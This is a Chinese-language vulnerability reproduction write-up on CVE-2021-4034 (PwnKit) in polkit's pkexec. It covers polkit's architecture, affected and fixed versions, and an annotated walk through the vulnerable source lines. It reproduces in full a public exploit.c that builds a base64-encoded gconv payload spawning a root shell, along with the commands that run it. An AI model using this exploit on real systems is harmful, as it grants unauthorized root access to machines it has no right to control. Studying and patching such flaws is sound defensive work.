CVE-2021-4034 polkit(pkexec)提权漏洞复现

2022-02-22 11:51:59 浏览数 (4)

一.漏洞简述:

polkit是一个授权管理器,其系统架构由授权和身份验证代理组成,pkexec是其中polkit的其中一个工具,他的作用有点类似于sudo,允许用户以另一个用户身份执行命令

polkit 提供了一个授权 API,供特权程序(“ MECHANISMS ” )使用,通常通过某种形式的进程间通信机制为非特权程序( “ SUBJECTS ”)提供服务。在这种情况下,该机制通常将主体视为不受信任。对于来自主体的每个请求,该机制需要确定该请求是否被授权,或者它是否应该拒绝为主体提供服务。使用 polkit API,一种机制可以将此决定转交给受信任的一方:polkit 权威。

polkit 权限被实现为系统守护进程 polkitd (8),它本身没有什么特权,因为它以 polkitd系统用户身份运行。机制、主体和认证代理使用系统消息总线与授权机构进行通信。

除了作为授权之外,polkit 还允许用户通过验证管理用户或客户端所属会话的所有者来获得临时授权。这对于机制需要验证系统的操作员确实是用户还是管理用户的场景很有用

plokit基本组成

polkit— 授权管理器

polkitd— polkit 系统守护进程

pkcheck— 检查一个进程是否被授权

pkaction— 获取有关已注册操作的详细信息

pkexec— 以另一个用户身份执行命令

pkttyagent— 文本认证助手

polkit架构polkit架构

二.影响版本:

1.受影响版本

代码语言:javascript复制
· 2009年5月至今发布的所有 Polkit 版本
注:Polkit预装在CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等多个Linux发行版上,所有存在Polkit的Linux系统均受影响。

2.不受影响版本

代码语言:javascript复制
CentOS:
· CentOS 6:polkit-0.96-11.el6_10.2
· CentOS 7:polkit-0.112-26.el7_9.1
· CentOS 8.0:polkit-0.115-13.el8_5.1
· CentOS 8.2:polkit-0.115-11.el8_2.2
· CentOS 8.4:polkit-0.115-11.el8_4.2
Ubuntu:
· Ubuntu 14.04 ESM:policykit-1-0.105-4ubuntu3.14.04.6 esm1
· Ubuntu 16.04 ESM:policykit-1-0.105-14.1ubuntu0.5 esm1
· Ubuntu 18.04 LTS:policykit-1-0.105-20ubuntu0.18.04.6
· Ubuntu 20.04 LTS:policykit-1-0.105-26ubuntu1.2
· Ubuntu 21.10:policykit-1-0.105-31ubuntu0.1
Debain:
· :policykit-1 0.105-18 deb9u2
· Debain stretch:policykit-1 0.105-18 deb9u2
· Debain buster:policykit-1 0.105-25 deb10u1
· Debain bullseye:policykit-1 0.105-31 deb11u1
· Debain bookworm,bullseye:policykit-1 0.105-31.1

三.exp利用逻辑:

exp1链接:https://github.com/luijait/PwnKit-Exploit

https://github.com/luijait/PwnKit-Exploit/exploit.c

代码语言:javascript复制
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
/**
 * @author: luijait
 * @version: 1.0
 * @CVE: CVE-2021-4034 
*/

void enviroment()
{
system("mkdir 'GCONV_PATH=.' && touch 'GCONV_PATH=./tmp' && chmod  x 'GCONV_PATH=./tmp'");
system("mkdir tmp;echo I2luY2x1ZGUgPHN0ZGlvLmg CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgoKdm9pZCBnY29udih2b2lkKSB7fQoKCnZvaWQgZ2NvbnZfaW5pdCh2b2lkICpzdGVwKQp7CgkvL1Blcm1zIAoJc2V0dWlkKDApOyBzZXRldWlkKDApOyBzZXRnaWQoMCk7IHNldGVnaWQoMCk7CQoJLy9JbnZvcXVlIFNoZWxsCgljaGFyICogc2hlbGxbXSA9IHsgIi9iaW4vYmFzaCIsICItaSIsIE5VTEwgfTsKCS8vRGVmaW5lIFBhdGgKCWNoYXIgKiBlbnZfdmFyc1tdID0geyAiUEFUSD0vdXNyL2xvY2FsL3NiaW46L3Vzci9sb2NhbC9iaW46L3Vzci9zYmluOi91c3IvYmluOi9zYmluOi9iaW4iLCBOVUxMIH07CglleGVjdmUoc2hlbGxbMF0sIHNoZWxsLCBlbnZfdmFycyk7CglleGl0KDApOyAKfQo= | base64 -d > tmp/b64load.c; gcc tmp/b64load.c -o tmp/pwnkit.so -shared -fPIC ");
system("echo bW9kdWxlIFVURi04Ly8gUFdOS0lULy8gcHdua2l0IDIK | base64 -d > tmp/gconv-modules");		
}

void banner()
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("Current User before execute exploitnhacker@victim$whoami: ");
system("whoami");
sleep(1);
printf("Exploit written by @luijait (0x6c75696a616974)");
}

int main(int argc, char **argv)
{
	
banner();
	
enviroment();
	
char * const idk[] = {
	NULL
};
char * const entorno[] = {"tmp", 
			  "PATH=GCONV_PATH=.", 
			  "SHELL=/random", 
			  "CHARSET=PWNKIT",
			  "GIO_USE_VFS=",NULL
			 };
	printf("n[ ] Enjoy your root if exploit was completed succesfullyn");
	return execve("/usr/bin/pkexec", idk, entorno);
	
}

基本解释:

代码语言:javascript复制
argc表示有多少个命令行参数,第一个就是执行程序名,所以argc最少为1。
argv是具体的参数。
envp是系统的环境变量。 常规形式: “名称=值”的,以NULL结束。

char *argv[ ] 表示命令行参数的字符串数组,用来存放指向字符串参数的指针数组,每个元素指向一个参数。
envp 存放当前程序运行环境的参数
int argc表示命令行字串的个数。

exp2链接:https://github.com/PeterGottesman/pwnkit-exploit

exploit.c执行逻辑exploit.c执行逻辑

四.漏洞点逻辑:

pkexec源码:https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.120/src/programs/pkexec.c

漏洞点逻辑:执行pkexec时,指定了恶意的envp[0],那么可以写入一个环境变量到目标进程空间中

1. 534行,n初始值为1

代码语言:javascript复制
534   for (n = 1; n < (guint) argc; n  )

2. 610行,argv[1]实际指向的是envp[0],path 会被赋值为envp[0]

代码语言:javascript复制
610   path = g_strdup (argv[n]);

3. 632行,通过PATH环境变量找到该程序的绝对路径并返回:s = g_find_program_in_path (path),

代码语言:javascript复制
632   s = g_find_program_in_path (path);

4. 639行,最后触发数组下标越界:此时argv[1]被赋值为 一个绝对地址,也就是 envp[0]被赋值为一个绝对地址

代码语言:javascript复制
639   argv[n] = path = s;

五.漏洞复现

1.复现环境:

操作系统:Linux VM-0-5-ubuntu 5.4.0-88-generic x86_64 x86_64 x86_64 GNU/Linux

ubuntu 20.04.4ubuntu 20.04.4

pkexec版本:0.105

pkexec 0.105pkexec 0.105

2.漏洞提权触发:

(1)本地普通用户权限:ubuntu权限

代码语言:javascript复制
id

(2)执行exp提权root

代码语言:javascript复制
make
./exploit
id
成功提权成功提权

六.漏洞原理参考:

PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034)

Qualys 漏洞和威胁研究总监Bharat Jogi Bharat Jogi, Director, Vulnerability and Threat Research, Qualys https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

polkit概述

https://www.freedesktop.org/software/polkit/docs/latest/

polkit架构及描述

https://www.freedesktop.org/software/polkit/docs/latest/polkit.8.html

pkexec架构及描述

https://www.freedesktop.org/software/polkit/docs/latest/pkexec.1.html

CVE-2021-4034 深入分析及漏洞复现

23R3F:

https://xz.aliyun.com/t/10870

1 人点赞